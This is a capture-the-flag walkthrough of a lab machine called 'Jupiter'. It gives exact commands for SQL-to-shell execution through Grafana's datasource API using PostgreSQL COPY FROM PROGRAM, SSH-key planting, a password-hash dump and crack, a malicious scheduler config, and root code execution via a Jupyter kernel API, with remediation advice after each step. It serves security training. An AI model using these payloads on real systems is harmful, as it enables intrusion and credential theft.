← all walkthroughs

Jupiter

Linux· Medium· Privilege Escalation
owned
2026-10-07
time to own
51m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a public web server hosting a Grafana dashboard behind a 'kiosk' virtual host whose datasource-proxy API accepted raw SQL queries against a PostgreSQL backend. A PostgreSQL copy-from-program feature let me run operating-system commands as the 'postgres' account and install an SSH key for persistent access.

From that foothold, a world-writable scheduler configuration file consumed by a background simulation job running as the user 'juno' was replaced with a malicious job definition, producing a second foothold as 'juno'. Finally, a notebook-style development server bound to localhost and running as root was reached from the host itself and used to run code as root, completing full compromise of the system.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets (<cookie>, <ds_uid>, <kernel_id>, <ssh-pubkey>, <xsrf>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationService enumeration and virtual-host discovery
Scanned the host and identified the Grafana virtual host
A port scan showed only two exposed services: SSH and a web server. The web server served a distinct site when requests carried the 'kiosk.jupiter.htb' host header, revealing a Grafana instance whose datasource-query endpoint was reachable and returned a PostgreSQL datasource identifier.
Open ports 22/tcp (ssh) and 80/tcp (nginx 1.18.0); requests with Host: kiosk.jupiter.htb reached Grafana's /api/ds/query endpoint referencing a postgres datasource uid.
Exact commands 2
shell

Full port scan of the target.

$ nmap -p- -sV $TARGET
shell

Resolve the discovered virtual host locally.

$ echo "$TARGET kiosk.jupiter.htb" | sudo tee -a /etc/hosts
2Initial AccessSQL-to-command execution via PostgreSQL COPY FROM PROGRAM (T1190)
Abused Grafana's datasource proxy to run operating-system commands as postgres
Grafana's /api/ds/query endpoint forwarded caller-supplied SQL to the configured PostgreSQL datasource. PostgreSQL's COPY ... FROM PROGRAM clause runs an arbitrary shell command and streams its output into a table, so a query was crafted that wrote my own SSH public key into the postgres service account's authorized_keys file, giving direct SSH access as that account without ever needing a Grafana login.
POST to /api/ds/query with rawSql containing 'COPY cmd_exec FROM PROGRAM $$bash -c ...>> /var/lib/postgresql/.ssh/authorized_keys$$' returned HTTP 200; subsequent SSH login as postgres succeeded and id returned uid=114(postgres).
Exact commands 3
shell

Generate a keypair; the public key goes into the payload below.

$ ssh-keygen -q -t ed25519 -f /tmp/jupiter_postgres -N '' && cat /tmp/jupiter_postgres.pub
shell

Replace <ds_uid> with the datasource uid from Grafana and <ssh-pubkey> with the key generated above.

$ curl -sS -H 'Host: kiosk.jupiter.htb' -H 'Content-Type: application/json' -X POST http://$TARGET/api/ds/query --data-binary '{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"<ds_uid>"},"rawSql":"DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM $$bash -c \"mkdir -p /var/lib/postgresql/.ssh; echo <ssh-pubkey> >> /var/lib/postgresql/.ssh/authorized_keys\"$$;"}]}'
shell

Confirm the foothold as postgres.

$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'id; whoami; hostname'
uid=114(postgres)
FixLock down the Grafana datasource-query API and the database account it usesCritical
WeaknessThe Grafana /api/ds/query endpoint allowed raw SQL to reach a PostgreSQL datasource, and the PostgreSQL role used by Grafana had rights to run COPY ... FROM PROGRAM, letting SQL input turn into operating-system command execution as the postgres account.
FixRequire authentication for Grafana's data-source proxy, restrict the Grafana database role to least-privilege (no PROGRAM execution rights, no superuser/pg_execute_server_program membership), and disable or tightly ACL the COPY PROGRAM capability for application-facing roles. Patch/upgrade Grafana to a version without open proxy access and place it behind network-level authentication.
3DiscoveryLocal host and credential enumeration
Enumerated the host from the postgres shell and recovered database credentials
From the postgres account, local enumeration revealed two human accounts' home directories and a world-writable configuration file under /dev/shm that a background simulation process periodically re-read and executed. A credential hash for a secondary Grafana-viewer role was also recovered from the Postgres shadow catalog for offline cracking.
Ls -la /home showed jovian and juno home directories; /dev/shm/network-simulation.yml was world-writable and owned by juno; pg_shadow returned a hash for role grafana_viewer.
Exact commands 3
shell

List home directories and the shared-memory scratch area.

$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'ls -la /home; ls -la /dev/shm'
shell

Dump password hashes from Postgres for offline cracking.

$ ssh -i /tmp/jupiter_postgres postgres@$TARGET "psql -Atqc \"select usename||':'||coalesce(passwd,'') from pg_shadow\""
shell

Offline-crack the recovered $HASH-SHA-256 hash (optional, supports credentialed access elsewhere on the stack).

$ hashcat -m 28600 grafana_viewer.hash /usr/share/wordlists/rockyou.txt
4Privilege EscalationInsecure scheduled-job configuration abuse (T1574: Hijack Execution Flow)
Hijacked a world-writable simulation config to gain code execution as juno
The YAML schema lets a config author define arbitrary process entries the simulator will spawn. The legitimate file was backed up and replaced with a crafted config whose process list wrote my SSH key into juno's authorized_keys file; once the simulator picked up the new config, SSH access as juno was obtained.
Pspy64 process monitoring showed PID activity tied to /home/juno/shadow-simulation.sh consuming the file shortly after it was overwritten; a subsequent SSH login as juno succeeded.
Exact commands 4
shell

Preserve the original config.

$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'cp /dev/shm/network-simulation.yml /dev/shm/network-simulation.yml.bak'
shell

Replace the config with a malicious process definition; substitute <ssh-pubkey> with my own key.

$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'cat > /dev/shm/network-simulation.yml' <<'EOF'
general:
  stop_time: 10s
  model_unblocked_syscall_latency: true
network:
  graph:
    type: 1_gbit_switch
hosts:
  server:
    network_node_id: 0
    processes:
      - path: /bin/bash
        args: -c "mkdir -p /home/juno/.ssh; echo <ssh-pubkey> >> /home/juno/.ssh/authorized_keys"
        start_time: 1s
EOF
shell

Optional: confirm the simulator consumes the new config before it is overwritten again.

$ ssh -i /tmp/jupiter_postgres postgres@$TARGET 'timeout 150 /tmp/pspy64 -p -i 100 | grep -E "juno|simulation"'
shell

Confirm the second foothold as juno once the key lands.

$ ssh -i /tmp/jupiter_juno juno@$TARGET 'id; whoami'
FixRemove world-writable permissions from scheduled-job configuration filesHigh
WeaknessA configuration file consumed by a background simulation job running as another user (juno) was writable by any local account, letting a lower-privileged user inject arbitrary process definitions the job would execute as juno.
FixStore job/scheduler configuration files with restrictive ownership and permissions (0640, owned by the running account) so only the intended user and administrators can write them. Avoid using shared, world-writable locations like /dev/shm for configuration that drives privileged or cross-user execution; validate config schemas before execution.
5Privilege EscalationLocal service abuse: code execution via an exposed Jupyter kernel API (T1609, adapted for a local notebook kernel)
Reached a root-owned Jupyter Notebook server bound to localhost
A Jupyter Notebook server was found listening only on 127.0.0.1:8888 and running as root. Jupyter's notebook/API endpoints were reachable from the host itself; a browser-style session captured the server's XSRF token and session cookie, which were then replayed against the notebook's kernel-execution API to run arbitrary code as root.
Curl to http://127.0.0.1:8888/ returned a 302 redirect to /tree served by TornadoServer/6.2 as root; a scripted session harvested the _xsrf cookie and used it to authenticate further API calls.
Exact commands 3
shell

Confirm the root-owned notebook server is reachable only from the host.

$ ssh -i /tmp/jupiter_juno juno@$TARGET 'curl -sS -i http://127.0.0.1:8888/'
shell

Harvest the _xsrf token and session cookie from the notebook server.

$ ssh -i /tmp/jupiter_juno juno@$TARGET "python3 -c \"import urllib.request,http.cookiejar; cj=http.cookiejar.CookieJar(); op=urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)); r=op.open('http://127.0.0.1:8888/tree'); print(r.status); print([(c.name,c.value) for c in cj])\""
shell

Replace <cookie>, <xsrf>, and <kernel_id> with the harvested values and an active kernel id; executes code as root.

$ ssh -i /tmp/jupiter_juno juno@$TARGET "curl -sS -b 'session=<cookie>' -H 'X-XSRFToken: <xsrf>' -X POST http://127.0.0.1:8888/api/kernels/<kernel_id>/execute -d '{\"code\":\"import os; os.system(\\\"cat /root/root.txt\\\")\"}'
FixRestrict and authenticate the local Jupyter Notebook service running as rootCritical
WeaknessA Jupyter Notebook server ran as root and was reachable over localhost without requiring prior authentication from any local process, allowing a low-privileged local user to harvest its session token and execute code as root through the kernel API.
FixRun Jupyter under a dedicated low-privilege account rather than root, enable and enforce token/password authentication (--NotebookApp.token or password_required), and bind it to a loopback-only interface with a firewall rule limiting which local users/processes may reach it if full isolation is not possible.
6ImpactFlag capture / proof of impact
Captured user and root flags
With shells as postgres, juno, and finally code execution as root through the notebook kernel, the user flag was read from a home directory and the root flag was read via the root-level execution channel, confirming full compromise of the host.
Exact commands 2
shell

Read the user flag; replace output with <user.txt>.

$ ssh -i /tmp/jupiter_juno juno@$TARGET 'cat /home/jovian/user.txt 2>/dev/null || cat /home/juno/user.txt'
shell

Read the root flag via the notebook kernel; replace output with <root.txt>.

$ ssh -i /tmp/jupiter_juno juno@$TARGET "curl -sS -b 'session=<cookie>' -H 'X-XSRFToken: <xsrf>' -X POST http://127.0.0.1:8888/api/kernels/<kernel_id>/execute -d '{\"code\":\"print(open(\\\"/root/root.txt\\\").read())\"}'

Exposed services

22/tcp
80/tcp